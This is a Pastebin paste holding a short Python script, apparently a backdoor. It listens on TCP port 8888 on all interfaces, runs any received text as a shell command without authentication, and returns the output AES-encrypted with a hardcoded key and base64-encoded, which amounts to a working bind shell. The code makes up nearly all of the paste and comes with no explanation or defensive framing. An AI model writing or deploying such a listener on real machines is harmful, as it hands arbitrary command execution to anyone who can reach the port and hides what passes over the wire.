Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from Crypto.Cipher import AES
- import base64, socket, subprocess
- BLOCK_SIZE=16
- pad = lambda s: s + '\x00'*(BLOCK_SIZE - len(s) % BLOCK_SIZE)
- SIZE = 1024
- aes = AES.new('1q2w3e4r1q2w3e4r', AES.MODE_CBC, 'r4e3w2q1r4e3w2q1')
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('0.0.0.0', 8888))
- s.listen(0)
- while True:
- c, _ = s.accept()
- cmd = c.recv(SIZE)
- c.sendall(base64.b64encode(aes.encrypt(pad(subprocess.check_output(cmd, shell=True)))))
- c.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement